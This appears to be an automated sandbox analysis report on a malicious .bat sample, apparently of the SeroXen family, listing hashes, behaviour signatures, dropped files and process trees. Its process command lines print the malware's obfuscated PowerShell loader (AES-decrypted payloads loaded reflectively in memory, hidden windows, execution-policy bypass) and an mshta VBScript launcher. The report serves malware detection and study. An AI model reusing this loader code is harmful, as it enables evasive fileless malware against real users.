Analysis
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max time kernel
29s -
max time network
80s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
23-09-2023 02:23
Static task
static1
Behavioral task
behavioral1
Sample
050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat
Resource
win10v2004-20230915-en
General
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Target
050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat
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Size
14.6MB
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MD5
9644bf6130818a23b7820e4441d84d6a
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SHA1
654d821a794488acba87a809e8eab889eb9845db
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SHA256
050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea
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SHA512
db83473f76f680fa8f93da5bfa71d2b396f4cef44d222e75430a09432c68b67e37c92ca56b7f5d54265cbbb44145df00a11ccf89c498a391af609a2976c6beb9
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SSDEEP
49152:VfcOj5SiJ6+FBW/rRNkFa34CG36ICLvbtSAKsASfycGoA+uVteH7ki8KjXtXH8xU:u
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 2120 created 612 2120 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe 3 -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000\Control Panel\International\Geo\Nation $sxr-mshta.exe -
Executes dropped EXE 2 IoCs
pid Process 2120 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe 1588 $sxr-mshta.exe -
Drops file in System32 directory 6 IoCs
description ioc Process File created C:\Windows\System32\ucrtbased.dll 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe File created C:\Windows\System32\vcruntime140_1d.dll 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe File created C:\Windows\System32\vcruntime140d.dll 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe File opened for modification C:\Windows\System32\ucrtbased.dll 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe File opened for modification C:\Windows\System32\vcruntime140_1d.dll 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe File opened for modification C:\Windows\System32\vcruntime140d.dll 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2120 set thread context of 2652 2120 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe 100 PID 2120 set thread context of 4020 2120 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe 101 -
Drops file in Windows directory 8 IoCs
description ioc Process File opened for modification C:\Windows\$sxr-seroxen2\$sxr-Uni.bat cmd.exe File created C:\Windows\$sxr-powershell.exe 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe File opened for modification C:\Windows\$sxr-powershell.exe 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe File created C:\Windows\$sxr-mshta.exe 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe File opened for modification C:\Windows\$sxr-mshta.exe 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe File created C:\Windows\$sxr-cmd.exe 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe File opened for modification C:\Windows\$sxr-cmd.exe 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe File created C:\Windows\$sxr-seroxen2\$sxr-Uni.bat cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ $sxr-mshta.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 13 IoCs
pid Process 2120 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe 2120 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe 2120 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe 2652 dllhost.exe 2652 dllhost.exe 2652 dllhost.exe 2652 dllhost.exe 4020 dllhost.exe 4020 dllhost.exe 4020 dllhost.exe 4020 dllhost.exe 2120 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe 2120 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2120 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe Token: SeDebugPrivilege 2120 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe Token: SeDebugPrivilege 2652 dllhost.exe Token: SeDebugPrivilege 4020 dllhost.exe -
Suspicious use of WriteProcessMemory 22 IoCs
description pid Process procid_target PID 2628 wrote to memory of 552 2628 cmd.exe 87 PID 2628 wrote to memory of 552 2628 cmd.exe 87 PID 552 wrote to memory of 4312 552 net.exe 88 PID 552 wrote to memory of 4312 552 net.exe 88 PID 2628 wrote to memory of 2120 2628 cmd.exe 96 PID 2628 wrote to memory of 2120 2628 cmd.exe 96 PID 2120 wrote to memory of 2652 2120 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe 100 PID 2120 wrote to memory of 2652 2120 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe 100 PID 2120 wrote to memory of 2652 2120 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe 100 PID 2120 wrote to memory of 2652 2120 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe 100 PID 2120 wrote to memory of 2652 2120 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe 100 PID 2120 wrote to memory of 2652 2120 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe 100 PID 2120 wrote to memory of 2652 2120 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe 100 PID 2120 wrote to memory of 4020 2120 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe 101 PID 2120 wrote to memory of 4020 2120 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe 101 PID 2120 wrote to memory of 4020 2120 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe 101 PID 2120 wrote to memory of 4020 2120 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe 101 PID 2120 wrote to memory of 4020 2120 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe 101 PID 2120 wrote to memory of 4020 2120 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe 101 PID 2120 wrote to memory of 4020 2120 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe 101 PID 2120 wrote to memory of 4020 2120 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe 101 PID 2120 wrote to memory of 4020 2120 050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe 101 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:612
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{bb1443c9-1ce3-4c0c-9bb3-669574487b0e}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2652
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat"1⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2628 -
C:\Windows\system32\net.exenet session2⤵
- Suspicious use of WriteProcessMemory
PID:552 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session3⤵PID:4312
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C:\Users\Admin\AppData\Local\Temp\050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe"050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function mwWOh($uwovJ){ $lIKee=[System.Security.Cryptography.Aes]::Create(); $lIKee.Mode=[System.Security.Cryptography.CipherMode]::CBC; $lIKee.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $lIKee.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4/MHVPOJNXCgMmApeZ/aW7DfvfpDsQu0DAqCZk9AP30='); $lIKee.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GRBc4aBzawKiY1avi58oMw=='); $epLsM=$lIKee.CreateDecryptor(); $return_var=$epLsM.TransformFinalBlock($uwovJ, 0, $uwovJ.Length); $epLsM.Dispose(); $lIKee.Dispose(); $return_var;}function XhrFJ($uwovJ){ $kffSF=New-Object System.IO.MemoryStream(,$uwovJ); $YpnXE=New-Object System.IO.MemoryStream; $ynBsy=New-Object System.IO.Compression.GZipStream($kffSF, [IO.Compression.CompressionMode]::Decompress); $ynBsy.CopyTo($YpnXE); $ynBsy.Dispose(); $kffSF.Dispose(); $YpnXE.Dispose(); $YpnXE.ToArray();}function btWsM($uwovJ,$rQWkL){ $vcWOa=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$uwovJ); $Zagwh=$vcWOa.EntryPoint; $Zagwh.Invoke($null, $rQWkL);}$chsAO=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat').Split([Environment]::NewLine);foreach ($YTXXB in $chsAO) { if ($YTXXB.StartsWith('SEROXEN')) { $GBpWW=$YTXXB.Substring(7); break; }}$kYJLl=[string[]]$GBpWW.Split('\');$BbRnn=XhrFJ (mwWOh ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($kYJLl[0])));$IqrGF=XhrFJ (mwWOh ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($kYJLl[1])));btWsM $IqrGF (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));btWsM $BbRnn (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2120 -
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{a58ceab9-4042-48ce-a7c7-c716d4bdf0fb}3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4020
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C:\Windows\$sxr-mshta.exeC:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-ghkpOQAYRIzJOVXtopMV4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"1⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
PID:1588 -
C:\Windows\$sxr-cmd.exe"C:\Windows\$sxr-cmd.exe" /c %$sxr-ghkpOQAYRIzJOVXtopMV4312:&#<?=%2⤵PID:3048
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C:\Windows\$sxr-powershell.exeC:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function lgrcY($FyIpg){ $dRqUo=[System.Security.Cryptography.Aes]::Create(); $dRqUo.Mode=[System.Security.Cryptography.CipherMode]::CBC; $dRqUo.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $dRqUo.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Gp+bf11QD7LA5w1KAfBFVVH5r4+0iGQjqXSWn2Y1B9c='); $dRqUo.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kUaH2U20BRjNPfuPAXXFbQ=='); $tXNBx=$dRqUo.('rotpyrceDetaerC'[-1..-15] -join '')(); $stpdc=$tXNBx.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FyIpg, 0, $FyIpg.Length); $tXNBx.Dispose(); $dRqUo.Dispose(); $stpdc;}function fKjEt($FyIpg){ $JrDwm=New-Object System.IO.MemoryStream(,$FyIpg); $RyeIy=New-Object System.IO.MemoryStream; $BOcth=New-Object System.IO.Compression.GZipStream($JrDwm, [IO.Compression.CompressionMode]::Decompress); $BOcth.CopyTo($RyeIy); $BOcth.Dispose(); $JrDwm.Dispose(); $RyeIy.Dispose(); $RyeIy.ToArray();}function YWrsB($FyIpg,$IkWKP){ $xdFai=[System.Reflection.Assembly]::Load([byte[]]$FyIpg); $kVkDZ=$xdFai.EntryPoint; $kVkDZ.Invoke($null, $IkWKP);}$dRqUo1 = New-Object System.Security.Cryptography.AesManaged;$dRqUo1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$dRqUo1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$dRqUo1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Gp+bf11QD7LA5w1KAfBFVVH5r4+0iGQjqXSWn2Y1B9c=');$dRqUo1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kUaH2U20BRjNPfuPAXXFbQ==');$sDehR = $dRqUo1.('rotpyrceDetaerC'[-1..-15] -join '')();$nWnOP = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AAZIQOOgpbqkB+n56o1Ljg==');$nWnOP = $sDehR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nWnOP, 0, $nWnOP.Length);$nWnOP = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nWnOP);$Rqeia = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Oqtp5tZBZnWxvm/e9TkZMySepw6aOd0bWiELstt3weM=');$Rqeia = $sDehR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqeia, 0, $Rqeia.Length);$Rqeia = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqeia);$MQXAO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('o6U5a4EfeJKC83T62bAM4g==');$MQXAO = $sDehR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MQXAO, 0, $MQXAO.Length);$MQXAO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MQXAO);$yessg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PACCpO6e/sJF/F9HuqVqYx0hqoyrbxlhOS7mzeFy8gjVXKv5XV5q5eR/O9LnbnzoLufpRUlM37d1CuobbJxJwor2SxXLThxQJ83u6fzaBsfKPNpwhmMSNdXAIM4a2PDq6ARFXPoZepfa+C1aJ4yii4hfnBdUd+y7Fg5ztworfrltiGm4Oez+mG2jGh4b3zzhWHIz3sqNAalECorlS4fTQ014Det2a7+f17OGRGWgqNpMQlsrlSOCqspbTTOKOjhVz8mvQAxsh1+3anAnypJ0KmkDaFeYEQNz5Vm+3dthAm7Ca++MPSO+zVAZ6KbH1r6dDJIQYqrOMNeFbalb3qNYHHY51Z5Mh6aezm9eEZHh0WlpgwyFoxUJiJk587yy+YxKEMscQ5QM6Vt8X723u6czp+53Hzi1Edh9by/fb0q7hcs=');$yessg = $sDehR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yessg, 0, $yessg.Length);$yessg = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($yessg);$NxcVp = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Qsnez7c2rrdeCDHscI37gg==');$NxcVp = $sDehR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NxcVp, 0, $NxcVp.Length);$NxcVp = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NxcVp);$VNzOn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1HWlV/bxGQQp/adUeqyeug==');$VNzOn = $sDehR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($VNzOn, 0, $VNzOn.Length);$VNzOn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($VNzOn);$LBiGo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('de2LkRN1FNbjz2DwyDSzBQ==');$LBiGo = $sDehR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($LBiGo, 0, $LBiGo.Length);$LBiGo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($LBiGo);$vgAok = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jdtaTdnoPpm6u2F9YBdBVw==');$vgAok = $sDehR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($vgAok, 0, $vgAok.Length);$vgAok = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($vgAok);$otApt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oCazDlKC3/RuJceTI9NwLQ==');$otApt = $sDehR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($otApt, 0, $otApt.Length);$otApt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($otApt);$nWnOP0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BvFdeeqjqs+RnoMTXz1l2A==');$nWnOP0 = $sDehR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nWnOP0, 0, $nWnOP0.Length);$nWnOP0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nWnOP0);$nWnOP1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/gw/hupVuHls8q6fnwZQGA==');$nWnOP1 = $sDehR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nWnOP1, 0, $nWnOP1.Length);$nWnOP1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nWnOP1);$nWnOP2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nPSW6EG5F7PbHHuRLnNIrw==');$nWnOP2 = $sDehR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nWnOP2, 0, $nWnOP2.Length);$nWnOP2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nWnOP2);$nWnOP3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p3JLVKt+3fzXaULi9g20wg==');$nWnOP3 = $sDehR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nWnOP3, 0, $nWnOP3.Length);$nWnOP3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nWnOP3);$sDehR.Dispose();$dRqUo1.Dispose();if (@(get-process -ea silentlycontinue $nWnOP3).count -gt 1) {exit};$BAJCZ = [Microsoft.Win32.Registry]::$vgAok.$LBiGo($nWnOP).$VNzOn($Rqeia);$Iiqcg=[string[]]$BAJCZ.Split('\');$StwuL=fKjEt(lgrcY([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($Iiqcg[1])));YWrsB $StwuL (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$gnujL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($Iiqcg[0]);$dRqUo = New-Object System.Security.Cryptography.AesManaged;$dRqUo.Mode = [System.Security.Cryptography.CipherMode]::CBC;$dRqUo.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$dRqUo.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Gp+bf11QD7LA5w1KAfBFVVH5r4+0iGQjqXSWn2Y1B9c=');$dRqUo.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kUaH2U20BRjNPfuPAXXFbQ==');$tXNBx = $dRqUo.('rotpyrceDetaerC'[-1..-15] -join '')();$gnujL = $tXNBx.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gnujL, 0, $gnujL.Length);$tXNBx.Dispose();$dRqUo.Dispose();$JrDwm = New-Object System.IO.MemoryStream(, $gnujL);$RyeIy = New-Object System.IO.MemoryStream;$BOcth = New-Object System.IO.Compression.GZipStream($JrDwm, [IO.Compression.CompressionMode]::$nWnOP1);$BOcth.$otApt($RyeIy);$BOcth.Dispose();$JrDwm.Dispose();$RyeIy.Dispose();$gnujL = $RyeIy.ToArray();$yQVmE = $yessg | IEX;$xdFai = $yQVmE::$nWnOP2($gnujL);$kVkDZ = $xdFai.EntryPoint;$kVkDZ.$nWnOP0($null, (, [string[]] ($MQXAO)))3⤵PID:1728
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe
Filesize442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
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C:\Users\Admin\AppData\Local\Temp\050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe
Filesize442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
283KB
MD58a2122e8162dbef04694b9c3e0b6cdee
SHA1f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA51299e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
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Filesize
283KB
MD58a2122e8162dbef04694b9c3e0b6cdee
SHA1f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA51299e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
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Filesize
14KB
MD50b4340ed812dc82ce636c00fa5c9bef2
SHA151c97ebe601ef079b16bcd87af827b0be5283d96
SHA256dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
SHA512d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045
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Filesize
14KB
MD50b4340ed812dc82ce636c00fa5c9bef2
SHA151c97ebe601ef079b16bcd87af827b0be5283d96
SHA256dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
SHA512d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045
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Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
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Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b